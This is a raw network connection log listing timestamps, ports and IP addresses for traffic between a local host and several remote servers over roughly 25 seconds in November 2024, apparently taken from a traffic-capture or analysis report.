Nov 22, 2024 17:09:14.747953892 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.748073101 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.748608112 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.748646975 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.748848915 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.749000072 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.749576092 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.749622107 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.749722958 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.749769926 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.750348091 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.750395060 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.750428915 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.750545979 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.751221895 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.751271009 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.751311064 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.751364946 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.752089977 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.752136946 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.752162933 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.752206087 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.752955914 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.753093004 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.753129959 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.753226042 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.753860950 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.753920078 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.754728079 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.754779100 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.754780054 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.754827023 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.755557060 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.755676031 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.755728006 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.756614923 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.756675959 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.756688118 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.756711960 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.757344961 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.757392883 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.757416010 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.757497072 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.758234024 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.758277893 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.758413076 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.758452892 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.759032011 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.759088039 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.759108067 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.759217978 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.759922981 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.759979963 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.760040045 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.760087013 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.760782003 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.760838985 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.760871887 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.760971069 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.761657953 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.761703014 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.761742115 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.761807919 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.762515068 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.762562037 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.762624979 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.762677908 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.763406038 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.763478041 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.763537884 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.763596058 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.764242887 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.764290094 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.764312983 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.764337063 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.765141010 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.765182972 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.765271902 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.765317917 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.765981913 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.766027927 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.766062021 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.766148090 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.766879082 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.766942024 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.766988993 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.767129898 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.767770052 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.767824888 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.767955065 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.768009901 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.768708944 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.768768072 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.768791914 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.768872976 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.769387960 CET	49830	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:14.769507885 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.769562006 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.769577026 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.769613028 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.770375013 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.770421982 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.770509005 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.770562887 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.771219969 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.771270037 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.771357059 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.771404982 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.772119045 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.772166014 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.772198915 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.772242069 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.772996902 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.773046970 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.773196936 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.773233891 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.773756027 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.773799896 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.930078983 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.930100918 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.930115938 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.930131912 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.930156946 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.930205107 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.930594921 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.930645943 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.930666924 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.930922031 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.931447983 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.931493044 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.931561947 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.931636095 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.932323933 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.932356119 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.932384014 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.932410955 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.933240891 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.933305025 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.933321953 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.933362961 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.934071064 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.934123993 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.934221029 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.934302092 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.934962034 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.935000896 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.935091019 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.935132980 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.935848951 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.935903072 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.935928106 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.935966969 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.936964035 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.936975956 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.937086105 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.937618971 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.937664986 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.937916994 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.937958956 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.938811064 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.938832998 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.938870907 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.938905954 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.939490080 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.939503908 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.939538002 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:15.001472950 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:15.001940012 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:15.151916027 CET	443	49830	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:15.151946068 CET	443	49830	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:15.152009010 CET	49830	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:15.152024031 CET	443	49830	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:15.152120113 CET	49830	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:15.154848099 CET	49830	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:15.154876947 CET	443	49830	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:15.162740946 CET	49831	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:15.162801981 CET	443	49831	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:15.162897110 CET	49831	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:15.163068056 CET	49831	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:15.163081884 CET	443	49831	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:15.171588898 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:15.171871901 CET	49832	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:15.291069031 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:15.291374922 CET	80	49832	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:15.291440010 CET	49832	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:15.294879913 CET	49832	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:15.414643049 CET	80	49832	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:16.372880936 CET	443	49831	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:16.373362064 CET	49831	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:16.373390913 CET	443	49831	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:16.373812914 CET	443	49831	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:16.374216080 CET	49831	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:16.374299049 CET	443	49831	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:16.374393940 CET	49831	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:16.419337034 CET	443	49831	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:16.815485954 CET	443	49831	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:16.815511942 CET	443	49831	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:16.815589905 CET	443	49831	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:16.815588951 CET	49831	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:16.815649986 CET	49831	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:16.819190025 CET	49831	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:16.819212914 CET	443	49831	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:16.825402975 CET	49833	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:16.825443983 CET	443	49833	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:16.825639009 CET	49833	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:16.825839043 CET	49833	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:16.825850010 CET	443	49833	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:17.440453053 CET	80	49832	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:17.440504074 CET	49832	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:18.136965036 CET	443	49833	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:18.138612032 CET	49833	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:18.138628006 CET	443	49833	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:18.139817953 CET	443	49833	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:18.142030954 CET	49833	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:18.142105103 CET	443	49833	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:18.142216921 CET	49833	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:18.183351040 CET	443	49833	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:18.605556965 CET	443	49833	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:18.605583906 CET	443	49833	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:18.605657101 CET	443	49833	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:18.605658054 CET	49833	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:18.606787920 CET	49833	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:18.705157995 CET	49833	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:18.705183029 CET	443	49833	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:18.712948084 CET	49834	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:18.713009119 CET	443	49834	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:18.713207006 CET	49834	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:18.713447094 CET	49834	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:18.713462114 CET	443	49834	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:19.730326891 CET	49835	443	192.168.2.10	172.202.163.200
Nov 22, 2024 17:09:19.730385065 CET	443	49835	172.202.163.200	192.168.2.10
Nov 22, 2024 17:09:19.730468988 CET	49835	443	192.168.2.10	172.202.163.200
Nov 22, 2024 17:09:19.730884075 CET	49835	443	192.168.2.10	172.202.163.200
Nov 22, 2024 17:09:19.730896950 CET	443	49835	172.202.163.200	192.168.2.10
Nov 22, 2024 17:09:20.041393042 CET	443	49834	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:20.060623884 CET	49834	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:20.060650110 CET	443	49834	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:20.061378956 CET	443	49834	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:20.088234901 CET	49834	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:20.088418961 CET	49834	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:20.088417053 CET	443	49834	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:20.135333061 CET	443	49834	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:20.165780067 CET	49834	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:20.415472984 CET	443	49795	23.199.62.75	192.168.2.10
Nov 22, 2024 17:09:20.415556908 CET	443	49795	23.199.62.75	192.168.2.10
Nov 22, 2024 17:09:20.415630102 CET	49795	443	192.168.2.10	23.199.62.75
Nov 22, 2024 17:09:20.506596088 CET	443	49834	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:20.506629944 CET	443	49834	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:20.506637096 CET	443	49834	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:20.506660938 CET	443	49834	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:20.506706953 CET	49834	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:20.506721973 CET	443	49834	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:20.506783009 CET	49834	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:20.532181025 CET	49834	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:20.532228947 CET	443	49834	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:20.537863970 CET	49795	443	192.168.2.10	23.199.62.75
Nov 22, 2024 17:09:20.537889957 CET	443	49795	23.199.62.75	192.168.2.10
Nov 22, 2024 17:09:20.538095951 CET	49836	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:20.538130045 CET	443	49836	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:20.538290977 CET	49836	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:20.538532019 CET	49836	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:20.538547039 CET	443	49836	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:21.253701925 CET	443	49798	23.199.62.75	192.168.2.10
Nov 22, 2024 17:09:21.253787041 CET	443	49798	23.199.62.75	192.168.2.10
Nov 22, 2024 17:09:21.253967047 CET	49798	443	192.168.2.10	23.199.62.75
Nov 22, 2024 17:09:21.623910904 CET	443	49835	172.202.163.200	192.168.2.10
Nov 22, 2024 17:09:21.623982906 CET	49835	443	192.168.2.10	172.202.163.200
Nov 22, 2024 17:09:21.626091957 CET	49835	443	192.168.2.10	172.202.163.200
Nov 22, 2024 17:09:21.626106024 CET	443	49835	172.202.163.200	192.168.2.10
Nov 22, 2024 17:09:21.626400948 CET	443	49835	172.202.163.200	192.168.2.10
Nov 22, 2024 17:09:21.635921955 CET	49835	443	192.168.2.10	172.202.163.200
Nov 22, 2024 17:09:21.679336071 CET	443	49835	172.202.163.200	192.168.2.10
Nov 22, 2024 17:09:21.798620939 CET	443	49836	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:21.799210072 CET	49836	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:21.799227953 CET	443	49836	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:21.799587011 CET	443	49836	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:21.800035000 CET	49836	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:21.800096035 CET	443	49836	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:21.800362110 CET	49836	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:21.847337008 CET	443	49836	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:21.928446054 CET	49832	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:21.930644989 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:22.243686914 CET	443	49836	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:22.243712902 CET	443	49836	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:22.243772984 CET	443	49836	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:22.243789911 CET	49836	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:22.243861914 CET	49836	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:22.245567083 CET	49836	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:22.245590925 CET	443	49836	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:22.308572054 CET	443	49835	172.202.163.200	192.168.2.10
Nov 22, 2024 17:09:22.308598995 CET	443	49835	172.202.163.200	192.168.2.10
Nov 22, 2024 17:09:22.308614016 CET	443	49835	172.202.163.200	192.168.2.10
Nov 22, 2024 17:09:22.308649063 CET	49835	443	192.168.2.10	172.202.163.200
Nov 22, 2024 17:09:22.308685064 CET	443	49835	172.202.163.200	192.168.2.10
Nov 22, 2024 17:09:22.308706045 CET	49835	443	192.168.2.10	172.202.163.200
Nov 22, 2024 17:09:22.308728933 CET	49835	443	192.168.2.10	172.202.163.200
Nov 22, 2024 17:09:22.344326973 CET	443	49835	172.202.163.200	192.168.2.10
Nov 22, 2024 17:09:22.344363928 CET	443	49835	172.202.163.200	192.168.2.10
Nov 22, 2024 17:09:22.344393969 CET	49835	443	192.168.2.10	172.202.163.200
Nov 22, 2024 17:09:22.344398975 CET	443	49835	172.202.163.200	192.168.2.10
Nov 22, 2024 17:09:22.344418049 CET	443	49835	172.202.163.200	192.168.2.10
Nov 22, 2024 17:09:22.344438076 CET	49835	443	192.168.2.10	172.202.163.200
Nov 22, 2024 17:09:22.344477892 CET	49835	443	192.168.2.10	172.202.163.200
Nov 22, 2024 17:09:22.344614983 CET	49835	443	192.168.2.10	172.202.163.200
Nov 22, 2024 17:09:22.344629049 CET	443	49835	172.202.163.200	192.168.2.10
Nov 22, 2024 17:09:22.344651937 CET	49835	443	192.168.2.10	172.202.163.200
Nov 22, 2024 17:09:22.344656944 CET	443	49835	172.202.163.200	192.168.2.10
Nov 22, 2024 17:09:24.465207100 CET	443	49816	104.70.121.219	192.168.2.10
Nov 22, 2024 17:09:24.465291977 CET	443	49816	104.70.121.219	192.168.2.10
Nov 22, 2024 17:09:24.465466022 CET	49816	443	192.168.2.10	104.70.121.219
Nov 22, 2024 17:09:24.508593082 CET	443	49817	104.70.121.219	192.168.2.10
Nov 22, 2024 17:09:24.508682966 CET	443	49817	104.70.121.219	192.168.2.10
Nov 22, 2024 17:09:24.508749008 CET	49817	443	192.168.2.10	104.70.121.219
Nov 22, 2024 17:09:33.656300068 CET	443	49829	173.222.162.55	192.168.2.10
Nov 22, 2024 17:09:33.656469107 CET	49829	443	192.168.2.10	173.222.162.55
Nov 22, 2024 17:09:36.825078964 CET	49837	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:36.825141907 CET	443	49837	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:36.825236082 CET	49837	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:36.825586081 CET	49837	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:36.825601101 CET	443	49837	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:38.672064066 CET	443	49837	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:38.672249079 CET	49837	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:38.673975945 CET	49837	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:38.673986912 CET	443	49837	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:38.674243927 CET	443	49837	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:38.683304071 CET	49837	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:38.727332115 CET	443	49837	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:39.167875051 CET	443	49837	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:39.167907953 CET	443	49837	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:39.167922974 CET	443	49837	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:39.168051958 CET	49837	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:39.168080091 CET	443	49837	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:39.168128967 CET	49837	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:39.370585918 CET	443	49837	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:39.370662928 CET	443	49837	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:39.370759964 CET	49837	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:39.370775938 CET	443	49837	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:39.370794058 CET	49837	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:39.370817900 CET	49837	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:39.409117937 CET	443	49837	13.107.246.63	192.168.2.10
